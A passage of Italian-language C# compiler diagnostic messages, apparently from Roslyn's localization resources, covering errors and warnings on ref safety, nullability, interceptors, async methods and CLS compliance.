usa '{2}' la cui versione è successiva a quella dell'assembly '{3}' a cui viene fatto riferimento con identità '{4}' + Viene restituito un parametro per riferimento '{0}' tramite un parametro ref; ma può essere restituito in modo sicuro solo in un'istruzione return + {1} '{0}' non generico non può essere usato con argomenti di tipo + inizializzatori di campo struct + Il nome di assembly '{0}' è riservato e non può essere usato come riferimento in una sessione interattiva + Non è possibile usare 'ref', 'in' o 'out' nella firma di un metodo con attributo 'UnmanagedCallersOnly'. + Il tipo definisce l'operatore == o l'operatore != ma non esegue l'override di Object.Equals(object o) + Non è possibile usare il parametro '{0}' con tipo simile a ref all'interno di un metodo anonimo, di un'espressione lambda, di un'espressione di query o di una funzione locale + '{0}': il tipo deve essere '{2}' in modo che corrisponda al membro '{1}' sottoposto a override + L'operatore OR bit per bit viene usato su un operando con segno esteso. Prima di usarlo, provare a eseguire il cast su un tipo più piccolo e senza segno + L'espressione di filtro è una costante 'false' + Impossibile utilizzare buffer a dimensione fissa contenuti in espressioni unfixed. Provare a utilizzare l'istruzione fixed. + Non è possibile accettare l'indirizzo dell'espressione data + Un albero delle espressioni non può contenere '{0}' + Impossibile specificare un valore di parametro predefinito insieme a DefaultParameterAttribute o OptionalAttribute + Non è possibile usare il tipo '{2}' come parametro di tipo '{1}' nel tipo generico o nel metodo '{0}'. Il supporto dei valori Null dell'argomento tipo '{2}' non corrisponde al vincolo 'class'. + Non sono stati trovati metodi di estensione o istanze di 'Deconstruct' idonee per il tipo '{0}', con {1} parametri out e un tipo restituito void. + '{0}' è implementato più di una volta in modo esplicito. + Il metodo di estensione deve essere definito in una classe statica non generica + Attribute parameter 'SizeConst' must be specified. + '{0}' è di tipo '{1}'. Il campo const di un tipo riferimento diverso da stringa può essere inizializzato solo con Null. + '{0}' non è un identificatore di convenzione di chiamata valido per un puntatore a funzione. + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al membro implementato '{0}'. + Non è possibile usare il vincolo 'new()' con il vincolo 'struct' + __arglist non è consentito nell'elenco di parametri di metodi asincroni + Non è possibile intercettare: la compilazione non contiene un file con percorso '{0}'. + A causa della precedenza, non è possibile usare l'operatore '{0}' in questo punto. Usare le parentesi per evitare ambiguità. + Il parametro deve avere un valore non Null quando viene terminato. + Non usare 'System.Runtime.CompilerServices.ExtensionAttribute'. Usare la parola chiave 'this'. + membri obbligatori + È prevista una funzione di accesso add o remove + Il controllo non può lasciare il corpo di un metodo anonimo o di un'espressione lambda + Il membro obsoleto esegue l'override del membro non obsoleto + Non è possibile '{0}' a meno che '{1}' non sia 'SignatureCallingConvention.Unmanaged'. + Il vincolo di tipo classe '{0}' deve precedere gli altri vincoli + Uso della proprietà implementata automaticamente '{0}' probabilmente non assegnata + L'assembly dell'analizzatore '{0}' fa riferimento alla versione '{1}' del compilatore, che è più recente della versione attualmente in esecuzione '{2}'. + '{0}' deve corrispondere per riferimento al valore restituito del membro '{1}' di cui è stato eseguito l'override + CallerFilePathAttribute non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override + Come argomento di 'nameof' non sono consentiti gruppi di metodi di estensione. + Non è possibile inizializzare una variabile per valore con un riferimento + Il corpo di un metodo di iteratore asincrono deve contenere un'istruzione 'yield'. Provare a rimuovere 'async' dalla dichiarazione del metodo o ad aggiungere un'istruzione 'yield'. + '{0}' non contiene una definizione di '{1}' e non è stato trovato alcun metodo di estensione accessibile '{1}' che accetta un primo argomento di tipo '{0}'. Probabilmente manca una direttiva using o un riferimento all'assembly. + Non è possibile usare {1} '{0}' con argomenti di tipo + Non è possibile usare l'espressione in questo contesto perché potrebbe esporre indirettamente variabili all'esterno del relativo ambito di dichiarazione + Il parametro per la conversione del gestore di stringhe interpolate si trova dopo il parametro del gestore + Un metodo parziale non può avere più dichiarazioni di definizione + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto. È applicato con un nome di parametro non valido. + Il riferimento all'assembly '{0}' non è valido e non può essere risolto + In questo modo viene assegnato con ref un valore con un ambito di escape più ristretto rispetto alla destinazione. + Le classi statiche non possono avere costruttori di istanze + Con 'await' il tipo {0} deve essere associato a un metodo 'GetAwaiter' appropriato + Non è possibile usare un membro del risultato di '{0}' in questo contesto perché potrebbe esporre variabili cui viene fatto riferimento dal parametro '{1}' all'esterno dell'ambito di dichiarazione + Il parametro lambda tipizzato in modo implicito '{0}' non può avere un valore predefinito. + Il tipo '{1}' riserva già un membro denominato '{0}' con gli stessi tipi di parametro + La proprietà implementata automaticamente '{0}' non può essere contrassegnata come 'readonly' perché include una funzione di accesso 'set'. + Il tipo dell'argomento non è conforme a CLS + Sequenza di escape non riconosciuta + Il parametro, diversamente da altri parametri, non contiene tag param corrispondenti nel commento XML + L'espressione switch non gestisce alcuni input Null. + L'interfaccia ereditata '{1}' causa un ciclo nella gerarchia delle interfacce di '{0}' + Il nome di tipo o di spazio dei nomi '{0}' non è stato trovato nello spazio dei nomi globale. Probabilmente manca un riferimento all'assembly. + Non è possibile intercettare '{0}' perché non è una chiamata di un metodo membro normale. + Non è possibile includere un elemento await nell'espressione di filtro di una clausola catch + Solo espressioni di inizializzazione di matrice possono essere utilizzate per assegnare a tipi matrice. Provare a utilizzare un'espressione new. + Conversione del valore letterale Null o di un possibile valore Null in un tipo che non ammette i valori Null. + Le variabili tipizzate in modo implicito devono essere inizializzate + La dichiarazione del parametro di tipo deve essere un identificatore anziché un tipo + costruttori primari + La proprietà implementata automaticamente '{0}' deve essere assegnata completamente prima che il controllo sia restituito al chiamante. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente la proprietà come predefinita. + '{0}': in struct è stato dichiarato il nuovo membro protetto + '{0}': le classi statiche non possono contenere membri protetti + L'oggetto 'this' viene letto prima che tutti i relativi campi siano stati assegnati, determinando le assegnazioni implicite precedenti di 'default' ai campi non esplicitamente assegnati. + '{0}': non è possibile dichiarare i membri di istanza in una classe statica + Il controllo viene restituito al chiamante prima che la proprietà implementata automaticamente sia assegnata in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + I file eseguibili non possono essere assembly satellite. Il campo relativo alle impostazioni cultura deve essere sempre vuoto + Nel metodo manca l'annotazione `[DoesNotReturn]` per la corrispondenza del membro implementato o di cui è stato eseguito l'override. + Utilizzo della parola chiave 'base' non valido in questo contesto + Il tipo '{0}' è definito in un assembly di cui manca il riferimento. Aggiungere un riferimento all'assembly '{1}'. + '{0}' aggiunge una funzione di accesso non trovata nel membro di interfaccia '{1}' + Opzione non riconosciuta: '{0}' + I metodi asincroni non sono consentiti in un'interfaccia, una classe o una struttura che ha l'attributo 'SecurityCritical' o 'SecuritySafeCritical'. + Non è possibile applicare CallerArgumentExpressionAttribute perché non sono presenti conversioni standard dal tipo '{0}' al tipo '{1}' + Il primo operando di un operatore 'is' o 'as' non può essere un'espressione lambda, un metodo anonimo o un gruppo di metodi. + Un accesso a matrice non può includere un identificatore di argomento denominato + Non è possibile usare un metodo di gruppo come argomento per un'operazione inviata dinamicamente. Si intendeva richiamare il metodo? + operatore di intervallo + Non è possibile usare un campo di sola lettura come valore out o ref (tranne che in un costruttore) + Non è possibile intercettare una chiamata nel file con percorso '{0}' perché questo percorso è presente in più file della compilazione. + È stato chiamato GetDeclarationName per un nodo di dichiarazione che può contenere più dichiarazioni di variabile. + Questo errore si verifica quando si usa un metodo di overload che accetta una matrice irregolare e le firme del metodo si differenziano solo per il tipo di elemento della matrice. Per evitare questo errore, provare a usare una matrice rettangolare invece di una irregolare, aggiungere un parametro in modo da evitare ambiguità nella chiamata della funzione oppure rinominare uno o più metodi di overload. In alternativa, se la compatibilità con CLS non è necessaria, rimuovere l'attributo CLSCompliantAttribute. + L'espressione switch non gestisce tutti i possibili valori del relativo tipo di input (non è esaustiva). Ad esempio, il criterio '{0}' non è coperto. Un criterio con una clausola 'when' potrebbe però corrispondere a questo valore. + I nomi di elementi di tupla nella firma del metodo '{0}' devono corrispondere a quelli del metodo di interfaccia '{1}' (incluso nel tipo restituito). + L'oggetto 'this' viene letto prima che tutti i relativi campi siano stati assegnati, determinando le assegnazioni implicite precedenti di 'default' ai campi non esplicitamente assegnati. + Viene restituito per riferimento un membro del parametro '{0}' con ambito al metodo corrente + L'attributo '{0}' è duplicato in '{1}' + funzione asincrona + Formato delle informazioni di debug non valido: {0} + Un'istruzione goto non può passare a una posizione che precede una dichiarazione using all'interno dello stesso blocco. + Il tipo di sola inizializzazione può essere specificato per entrambe le funzioni di accesso '{0}' e '{1}' o per nessuna di esse + I metodi asincroni non possono avere parametri di tipo puntatore + Un'istruzione non può iniziare con 'else'. + Il membro esegue l'override del membro obsoleto + Non è possibile assegnare '{1}' a {0} o usarlo come lato destro di un'assegnazione di riferimento perché è una variabile readonly + Per fare riferimento a un tipo, non è consentito usare la sintassi 'var' per un criterio, ma in questo '{0}' è incluso nell'ambito. + I metodi Async non possono includere variabili locali per riferimento + Argument {0} should be passed with the 'in' keyword + vincolo di tipo generico notnull + Solo le proprietà implementate automaticamente possono avere inizializzatori. + Un elemento 'struct' con inizializzatori di campo deve includere un costruttore dichiarato in modo esplicito. + Non è possibile creare il nome di file breve '{0}' se esiste già un nome di file lungo con lo stesso nome di file breve + Il tipo di parametro per l'operatore ++ o -- deve essere il tipo che lo contiene o il relativo parametro di tipo vincolato ad esso. + Il tipo locale del file '{0}' deve essere definito in un tipo di primo livello; '{0}' è un tipo annidato. + L'attributo '{0}' non è valido nelle funzioni di accesso a eventi. È valido solo nelle dichiarazioni di '{1}'. + #warning: '{0}' + Un membro statico non può essere contrassegnato come '{0}' + Non è possibile specificare i modificatori 'readonly' nella proprietà o nell'indicizzatore '{0}' e nella relativa funzione di accesso. Rimuoverne uno. + Il campo viene letto prima di essere assegnato in modo esplicito, determinando un’assegnazione implicita precedente di 'default'. + La riga e il numero di caratteri specificati non fanno riferimento a un nome di metodo intercettabile, ma al token '{0}'. + La parte sinistra di un'assegnazione deve essere una variabile, una proprietà o un indicizzatore + Il runtime di destinazione non supporta i tipi di matrice inline. + Un membro '{0}' contrassegnato come override non può essere contrassegnato come new o virtual + Entrambe le dichiarazioni di metodo parziale '{0}' e '{1}' devono usare gli stessi nomi di elementi di tupla. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' di '{1}' non corrisponde al membro implementato in modo implicito '{2}', probabilmente a causa degli attributi del supporto dei valori Null. + I membri struct non possono restituire 'this' o altri membri di istanza per riferimento + '{0}': non tutti i percorsi del codice restituiscono un valore + Non è possibile usare un risultato di '{0}' in questo contesto perché potrebbe esporre variabili cui viene fatto riferimento dal parametro '{1}' all'esterno dell'ambito della dichiarazione + L'espressione switch non gestisce tutti i possibili valori del relativo tipo di input (non è esaustiva). Ad esempio, il criterio '{0}' non è coperto. + Non è possibile inoltrare il tipo '{0}' perché è un tipo annidato di '{1}' + È previsto un commento su una sola riga o la fine riga + Il vincolo non può essere il tipo dinamico + Il parametro out '{0}' deve essere assegnato prima che il controllo lasci il metodo corrente + Nome non valido per un simbolo di pre-elaborazione. Non è un identificatore valido + Il suffisso 'l' è facilmente confondibile con il numero '1': per maggiore chiarezza utilizzare 'L' + '{0}' nella dichiarazione esplicita dell'interfaccia non è un'interfaccia + accesso all'array + Il ricevitore di un'espressione `with` deve avere un tipo non void. + '{0}': non è possibile eseguire l'override di '{1}' perché non è supportato dal linguaggio + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + L'indicizzatore o la proprietà di sola inizializzazione '{0}' può essere assegnata solo in un inizializzatore di oggetto oppure in 'this' o 'base' in un costruttore di istanza o una funzione di accesso 'init'. + Non è possibile convertire il gruppo di &metodi '{0}' nel tipo delegato '{1}'. + Non è possibile usare il modificatore di parametro '{0}' con '{1}' + I nomi di elemento non sono consentiti quando si definiscono criteri di ricerca tramite 'System.Runtime.CompilerServices.ITuple'. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Non è possibile ref-assign '{1}' a '{0}' perché '{1}' ha un ambito di escape del valore più ampio di '{0}' consentendo l'assegnazione tramite '{0}' di valori con ambiti di escape più ristretti rispetto a '{1}'. + Non è possibile incorporare il tipo '{0}' perché contiene una nuova astrazione di un membro dell'interfaccia di base. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su false. + Non è possibile usare come metodo il membro non richiamabile '{0}'. + Un valore out o ref deve essere una variabile assegnabile + Per offrire una qualifica minima del tipo, è necessario specificare SyntaxTreeSemanticModel. + CallerArgumentExpressionAttribute non avrà alcun effetto. CallerMemberNameAttribute ne eseguirà l'override + Non è stato possibile inizializzare il generatore. + Il tipo '{0}' è definito in un modulo che non è stato ancora aggiunto. È necessario aggiungere il modulo '{1}'. + Non è possibile usare un'espressione condizionale in un'interpolazione di stringa perché l'interpolazione termina con ':'. Racchiudere tra parentesi l'espressione condizionale. + Lo spazio dei nomi '{1}' in '{0}' è in conflitto con il tipo '{3}' in '{2}' + '{0}': un costruttore statico non deve avere parametri + Un parametro out non può avere l'attributo In + Non è possibile usare argomenti con il modificatore 'in' nelle espressioni inviate in modo dinamico. + gruppo di metodi + L'elemento '{0}' di iteratore asincrono include uno o più parametri di tipo 'CancellationToken', ma nessuno di essi è decorato con l'attributo 'EnumeratorCancellation', di conseguenza il parametro del token di annullamento restituito dall'elemento 'IAsyncEnumerable<>.GetAsyncEnumerator' generato non verrà utilizzato + Attributo MemberNotNull + Non è possibile assegnare al campo un valore diverso da quello predefinito + Il metodo '{0}' ha un modificatore di parametro 'this' che non si trova nel primo parametro + Non è possibile usare virgolette non ASCII per racchiudere valori letterali di tipo stringa. + È necessaria una classe base per il riferimento 'base' + La direttiva per il preprocessore è imprevista + Conversione unboxing di un possibile valore Null. + Non è possibile usare il tipo '{2}' come parametro di tipo '{1}' nel tipo generico o nel metodo '{0}'. Il supporto dei valori Null dell'argomento tipo '{2}' non corrisponde al vincolo 'notnull'. + Il controllo di conformità a CLS non verrà eseguito in '{0}' perché non è visibile all'esterno dell'assembly + La direttiva using per '{0}' è già presente come using globale + '{0}': non è possibile eseguire l'override. '{1}' non è una proprietà + Un'espressione di tipo '{0}' non può essere gestita da un criterio di tipo '{1}' in C# {2}. Usare la versione {3} o versioni successive del linguaggio. + La variabile '{0}' è assegnata, ma il suo valore non viene mai usato + Non è possibile applicare l'operatore '{0}' a 'default ' e all'operando di tipo '{1}' perché è un parametro di tipo non noto come tipo riferimento + L'annotazione per i tipi riferimento nullable deve essere usata solo nel codice in un contesto di annotations '#nullable'. + Il nome di elemento di tupla '{0}' è consentito solo alla posizione {1}. + Sono presenti più modificatori di protezione + Il commento XML contiene l'attributo cref '{0}' che è sintatticamente errato + L'assembly dell'analizzatore fa riferimento alla versione del compilatore, che è più recente della versione attualmente in esecuzione. + '{0}' non è supportato dal linguaggio + Il commento XML ha un tag paramref, ma non esiste nessun parametro con questo nome + L'operatore 'await' può essere usato solo all'interno di un metodo asincrono. Provare a contrassegnare questo metodo con il modificatore 'async' e modificare il tipo restituito su 'Task'. + Non è possibile usare il parametro ref, out o in del costruttore primario '{0}' all'interno di un membro di istanza + Non è possibile aggiornare '{0}'. Manca l'attributo '{1}'. + spostamento a destra senza segno + Non è possibile specificare /main se è presente un'unità di compilazione con istruzioni di primo livello. + Non è possibile usare un parametro del costruttore primario come valore out o ref di un tipo di sola lettura, tranne che nel setter di sola inizializzazione del tipo o in un inizializzatore di variabile + CallerArgumentExpressionAttribute non avrà alcun effetto. CallerFilePathAttribute ne eseguirà l'override + '{0}': il nuovo membro protetto è stato dichiarato nel tipo sealed + Il controllo non può passare da un'etichetta case ('{0}') a un'altra + Non è possibile convertire {0} nel tipo '{1}' perché non è un tipo delegato + Non è possibile convertire un'espressione lambda con il corpo di un'istruzione in un albero delle espressioni + Il metodo '{0}' specifica un vincolo 'default' per il parametro di tipo '{1}', ma il parametro di tipo corrispondente '{2}' del metodo '{3}' sottoposto a override o implementato in modo esplicito è vincolato a un tipo riferimento a un tipo valore. + Il modificatore 'scoped' del parametro non corrisponde al membro sottoposto a override o implementato. + Dichiarazioni ed espressioni miste nella decostruzione + Compilatore Microsoft (R) Visual C# + La riga contiene spazi vuoti diversi rispetto alla riga di chiusura del valore letterale stringa non elaborata: '{0}' rispetto a '{1}' + Non è possibile convertire il tipo '{0}' in '{1}' tramite una conversione di riferimenti, una conversione boxing, una conversione unboxing, una conversione wrapping o una conversione del tipo Null + '{0}' viene usato solo a scopo di valutazione e potrebbe essere modificato o rimosso in aggiornamenti futuri. + Un puntatore deve essere indicizzato da un solo valore + '{0}' include collectionBuilderAttribute ma nessun tipo di elemento. + L'uso di un tipo di puntatore a funzione in questo contesto non è supportato. + Non è un numero di avviso valido + Nessuna o entrambe le dichiarazioni di metodi parziali devono essere di tipo readonly + variabili locali e valori restituiti per riferimento + CallerArgumentExpressionAttribute applicato al parametro '{0}' non avrà alcun effetto perché è autoreferenziale. + Non è possibile passare l'argomento con tipo dinamico al parametro params '{0}' della funzione locale '{1}'. + Il metodo di interoperabilità incorporato '{0}' contiene un corpo. + Il miglior metodo Add di overload '{0}' per l'elemento inizializzatore di raccolta è obsoleto. + dinamico + Non è possibile usare la variabile locale '{0}' prima che sia dichiarata. La dichiarazione della variabile locale nasconde il campo '{1}'. + Il nome dell'elemento di tupla viene ignorato perché nell'altra parte dell'operatore == o != di tupla è specificato un nome diverso o non è specificato alcun nome. + L'istruzione foreach in una matrice inline di tipo '{0}' non è supportata + Il membro deve avere un valore non Null quando viene terminato. + L'indice non è compreso nei limiti della matrice inline + Impossibile definire o annullare la definizione dei simboli del preprocessore dopo il primo token nel file + Non è possibile specificare contemporaneamente le opzioni di compilazione '{0}' e '{1}'. + istruzioni di primo livello + CallerMemberNameAttribute non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + Operazione in overflow in fase di compilazione in modalità checked + qualificatore di alias dello spazio dei nomi + L'utilizzo dell'istruzione throw senza argomenti non è consentito all'esterno di una clausola catch + L'operando non è valido per i criteri di ricerca. È richiesto un valore ma è stato trovato '{0}'. + L'istruzione foreach non può funzionare con enumeratori di tipo '{0}' in metodi async o iterator perché '{0}' è uno struct ref. + Il parametro non è stato letto. Si è dimenticato di usarlo per inizializzare la proprietà con tale nome? + Con il valore di costante '{0}' può verificarsi un overflow di '{1}' in fase di esecuzione. Usare la sintassi 'unchecked' per eseguire l'override + L'evento '{0}' non viene mai usato + Il commento XML non si trova in un elemento di linguaggio valido + Si è verificato un errore durante la scrittura nel file di documentazione XML: {0} + generics + 'L'interfaccia '{0}' contrassegnata con 'CoClassAttribute' non è contrassegnata con 'ComImportAttribute' + Non è possibile usare i campi di '{0}' come valore out o ref perché è '{1}' + Uso della proprietà implementata automaticamente '{0}' probabilmente non assegnata + Il campo '{0}' non viene mai usato + Non è stato fatto riferimento a questa etichetta + 'L'argomento di attributo denominato '{0}' è duplicato + Non è possibile creare il riferimento alla variabile di tipo '{0}' + L'operatore 'await' può essere usato solo quando è contenuto in un metodo o un'espressione lambda contrassegnata con il modificatore 'async' + Un albero delle espressioni non può contenere un valore letterale di tupla. + Confronto effettuato con la stessa variabile + Non è possibile chiamare un puntatore a funzione con argomenti denominati. + Le espressioni dell'inizializzatore di oggetto e di raccolta non possono essere applicate a un'espressione di creazione del delegato + Il commento XML contiene un tag typeparam duplicato per '{0}' + '{0}': le conversioni definite dall'utente da o verso un tipo derivato non sono consentite + L'inizializzatore di oggetto o di raccolta dereferenzia in modo implicito il membro Null. + Il tipo non implementa il membro di interfaccia. Il supporto dei valori Null dei tipi riferimento nell'interfaccia implementata dal tipo di base non corrisponde. + '{0}' non è un identificatore di formato valido + 'Non è possibile usare 'await' in un'espressione contenente un operatore condizionale ref + Il parametro '{0}' non è stato letto. Si è dimenticato di usarlo per inizializzare la proprietà con tale nome? + Il membro di iteratore asincrono include uno o più parametri di tipo 'CancellationToken', ma nessuno di essi è decorato con l'attributo 'EnumeratorCancellation', di conseguenza il parametro del token di annullamento restituito dall'elemento 'IAsyncEnumerable<>.GetAsyncEnumerator' generato non verrà utilizzato + Un assembly con lo stesso nome semplice '{0}' è già stato importato. Provare a rimuovere uno dei riferimenti, ad esempio '{1}', oppure firmarli per consentire l'affiancamento. + Non è possibile usare l'operatore 'await' in un inizializzatore di variabile script statico. + Non è possibile ereditare l'interfaccia '{0}' con i parametri di tipo specificato perché in tal caso il metodo '{1}' conterrebbe overload diversi solo in ref e out + Il nome '{0}' non si trova nell'ambito a sinistra di 'equals'. Provare a invertire le espressioni ai lati di 'equals'. + Non è possibile applicare CallerFilePathAttribute perché non sono presenti conversioni standard dal tipo '{0}' al tipo '{1}' + L'identificatore '{0}' che differisce solo per l'uso di caratteri maiuscoli o minuscoli non è conforme a CLS + Non è possibile convertire il valore letterale Null in tipo riferimento che non ammette i valori Null. + Accessibilità incoerente: il tipo di proprietà '{1}' è meno accessibile della proprietà '{0}' + Null non è un nome di parametro valido. Per ottenere l'accesso al ricevitore di un metodo di istanza, usare la stringa vuota come nome del parametro. + Si è verificato un errore durante l'apertura del file di risorse Win32 '{0}' - '{1}' + Identificatore di formato vuoto. + Il supporto dei valori Null del tipo restituito non corrisponde al membro di cui è stato eseguito l'override, probabilmente a causa degli attributi del supporto dei valori Null. + Operatore OR bit per bit usato su un operando con segno esteso + Il risultato dell'espressione è sempre lo stesso perché un valore di questo tipo non è mai uguale a 'null' + L'accesso al membro identificatore trasparente non è riuscito per il campo '{0}' di '{1}'. I dati su cui eseguire la query implementano il modello di query? + vincoli di tipo generico delegato + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro non corrisponde al membro implementato, probabilmente a causa degli attributi del supporto dei valori Null. + Non è possibile usare una costante numerica o un modello relazionale su '{0}' perché eredita da o estende 'INumberBase<T>'. Provare a usare un modello di tipo per limitare a un tipo numerico specifico. + Non è possibile applicare CallerLineNumberAttribute perché non sono disponibili conversioni standard dal tipo '{0}' al tipo '{1}' + 'extern alias' non è valido in questo contesto + L'elenco dei membri obbligatori per il tipo di base '{0}' non è valido e non può essere interpretato. Per utilizzare questo costruttore, applicare l'attributo 'SetsRequiredMembers'. + Impossibile utilizzare l'oggetto 'this' in un costruttore prima che siano stati assegnati tutti i suoi campi. Provare ad aggiornare la versione del linguaggio per impostare automaticamente come predefiniti i campi non assegnati. + Entrambi i valori dell'operatore condizionale devono essere valori ref, altrimenti nessuno potrà esserlo + Non è possibile usare new() in questo contesto + Non è possibile incorporare il tipo '{0}' perché è un tipo annidato. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su false. + Impossibile specificare l'attributo CLSCompliant su un modulo che differisce dall'attributo CLSCompliant sull'assembly + Il supporto dei valori Null dei tipi riferimento nel tipo restituito non corrisponde al metodo intercettabile. + Il membro obbligatorio '{0}' deve essere impostato nell'inizializzatore di oggetto o nel costruttore dell’attributo. + L'indicizzatore di matrice inline non verrà usato per l'espressione di accesso agli elementi. + {0}. Vedere anche l'errore CS{1}. + Il tipo di base non è valido + Il membro obbligatorio '{0}' non può essere meno visibile o avere un setter meno visibile del tipo contenitore '{1}'. + Il nome di tipo '{0}' non esiste nel tipo '{1}' + Elemento corrispondente non trovato per il seguente tag di inclusione + La funzionalità '{0}' è sperimentale e non è supportata. Per abilitare, usare '/features:{1}'. + La proprietà implementata automaticamente viene letta prima di essere assegnata in modo esplicito, determinando un'assegnazione implicita precedente di 'default'. + Il tipo esegue l'override di Object.Equals(object o) ma non esegue l'override di Object.GetHashCode() + flussi asincroni + Il valore 'goto case' non è convertibile in modo implicito nel tipo switch + È stata specificata l'opzione /doc del compilatore, ma per uno o più costrutti non sono disponibili commenti. + '{0}': non è possibile eseguire l'override del membro ereditato '{1}' perché non è contrassegnato come virtual, abstract o override + Il nome di parametro '{0}' è un duplicato + '{0}': i modificatori di accesso non sono consentiti su costruttori statici + Non usare 'System.Runtime.CompilerServices.RequiredMemberAttribute'. Usare la parola chiave 'obbligatorio' nei campi e nelle proprietà obbligatori. + Uso imprevisto di un nome generico non associato + Il modificatore 'ref' per un argomento corrispondente al parametro 'in' equivale a 'in'. Provare a usare 'in'. + La funzione di accesso '{0}' non può implementare il membro di interfaccia '{1}' per il tipo '{2}'. Usare un'implementazione esplicita dell'interfaccia. + Entrambe le dichiarazioni di metodo parziale devono essere metodi di estensione, altrimenti nessuna delle due potrà esserlo + È previsto un blocco catch o finally + Un'espressione new richiede un elenco di argomenti oppure (), [] o {} dopo il tipo + La variabile è dichiarata, ma non viene mai usata + '{0}' è definito in un modulo con una versione non riconosciuta di RefSafetyRulesAttribute. È previsto '11'. + Trovata la fine del file, era previsto '*/' + Non è possibile fare riferimento alla compilazione di tipo '{0}' dalla compilazione di {1}. + È stato specificato un valore predefinito per il parametro 'ref readonly', ma 'ref readonly' deve essere usato solo per i riferimenti. Provare a dichiarare il parametro come 'in'. + '{0}' nasconde il membro ereditato '{1}'. Per consentire al membro corrente di eseguire l'override di tale implementazione, aggiungere la parola chiave override; altrimenti aggiungere la parola chiave new. + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare un membro di interfaccia perché non è pubblico. + Impossibile utilizzare il tipo file-local '{0}' in una firma del membro nel tipo non locale di file '{1}'. + L'interfaccia '{0}' non può essere usata come argomenti tipo. Il membro statico '{1}' non contiene un'implementazione più specifica nell'interfaccia. + È previsto un elemento SemanticModel {0}. + espressione condizionale ref + operatore predefinito + Non è possibile assegnare un valore di tipo 'void'. + valore letterale predefinito + '{0}' non implementa il membro di interfaccia '{1}'. '{2}' non può implementare '{1}'. + Un'espressione di tipo '{0}' non può essere gestita da un criterio di tipo '{1}'. + Impossibile utilizzare l'oggetto 'this' prima dell'assegnazione di tutti i relativi campi. Provare a eseguire l'aggiornamento alla versione del linguaggio '{0}' per impostare come predefiniti automaticamente i campi non assegnati. + Sono state specificate opzioni in conflitto: file di risorse Win32; icona Win32 + L'attributo viene ignorato quando si specifica la firma pubblica. + Il nome di tipo '{0}' è riservato al compilatore. + Il supporto dei valori Null dei tipi riferimento nell'identificatore di interfaccia esplicito non corrisponde all'interfaccia implementata dal tipo. + Non è possibile aggiungere ai punti di ingresso dell'applicazione l'attributo 'UnmanagedCallersOnly'. + Il nome '{0}' non si trova nell'ambito a destra di 'equals'. Provare a invertire le espressioni ai lati di 'equals'. + '{0}': non è possibile cambiare i nomi di elementi di tupla quando viene eseguito l'override del membro ereditato '{1}' + La lunghezza combinata delle stringhe utente usate dal programma supera il limite consentito. Provare a ridurre l'uso di valori letterali stringa. + È previsto il segno { + Il suffisso 'l' è facilmente confondibile con il numero '1' + Il carattere non è previsto in questa posizione. + È previsto '>' o '/>' come tag di chiusura '{0}'. + Il valore generato può essere Null. + Il parametro di tipo, diversamente da altri parametri di tipo, non contiene tag typeparam corrispondenti nel commento XML + azione di avviso enable + Si consiglia di non assegnare il nome 'global' a un alias perché 'global::' fa sempre riferimento allo spazio dei nomi globale e non a un alias + CallerMemberNameAttribute applicato al parametro '{0}' non avrà alcun effetto perché si applica a un membro usato in contesti che non consentono argomenti facoltativi + Il tipo del parametro di costruttore di attributo '{0}' è '{1}' che però non è un tipo di parametro di attributo valido + Il modificatore di varianza non è valido. Si possono specificare come varianti solo i parametri di tipo interfaccia o delegato. + Il parametro deve avere un valore non Null quando viene terminato in determinate condizioni. + Non è possibile usare i criteri relazionali per un valore di tipo '{0}'. + L'ereditarietà da un record con un 'Object.ToString' di tipo sealed non è supportata in C# {0}. Usare la versione '{1}' o successiva del linguaggio. + Il metodo di overload, che differisce solo per out o ref o per numero di dimensioni della matrice, non è conforme a CLS + '{0}': un campo volatile non può essere di tipo '{1}' + In un'espressione stackalloc occorre specificare [] dopo il tipo + Dichiaratore di membro di tipo anonimo non valido. I membri di tipo anonimo devono essere dichiarati con una assegnazione membro, nome semplice o accesso ai membri. + Una tupla non può contenere un valore di tipo 'void'. + Non è possibile specificare l'attributo Out in un parametro ref senza specificare anche l'attributo In. + Il file di origine '{0}' è specificato più volte + Non è possibile assegnare i membri della proprietà '{0}' di tipo '{1}' con un inizializzatore di oggetto perché è di un tipo valore + collection expressions + '{0}': le struct non possono chiamare costruttori della classe base + Il tipo non implementa il modello di raccolta. I membri sono ambigui + stackalloc non può essere usato in un blocco catch o finally + Era previsto un valore letterale di tipo stringa, ma non sono state trovate virgolette inglesi aperte. + '{0}' non può essere di tipo extern e dichiarare un corpo + <espressione switch> + Espressione per il preprocessore non valida + La parola chiave 'this' non è disponibile nel contesto corrente + tipo restituito dell'espressione lambda + L'elemento SyntaxTree deriva da una direttiva #load e non può essere rimosso o sostituito direttamente. + La direttiva #pragma non è stata riconosciuta + Un tipo anonimo non può avere più proprietà con lo stesso nome + Il parametro di tipo '{1}' ha il vincolo 'managed'. Non è quindi possibile usare '{1}' come vincolo per '{0}' + Il nome '{0}' supera la lunghezza massima consentita nei metadati. + Non è possibile usare una direttiva 'using static' per dichiarare un alias + Assegnazione fatta alla stessa variabile. Si intendeva assegnare qualcos'altro? + L'evento non viene mai usato + Non è possibile dichiarare un intercettore nello spazio dei nomi globale. + L'istruzione foreach asincrona non può funzionare con variabili di tipo '{0}' perché '{0}' non contiene una definizione di istanza o estensione pubblica idonea per '{1}' + L'evento '{0}' può essere specificato solo sul lato sinistro di += o di -= + Il valore del parametro predefinito non corrisponde al tipo delegato di destinazione. + Il tag di inclusione non è valido + puntatori a funzione + Il server d'inoltro del tipo '{0}' nell'assembly '{1}' causa un ciclo + Il tipo '{0}' contiene già una definizione per '{1}' + Un albero delle espressioni non può contenere una chiamata che usa argomenti facoltativi + Non è possibile applicare l'operatore '{0}' all'operando '{1}' + Non è possibile aprire il file di metadati '{0}' - '{1}' + Il confronto con il valore Null di tipo '{0}' restituisce sempre 'false' + modulo come un identificatore di destinazione dell'attributo + criteri ricorsivi + Questo avviso può essere 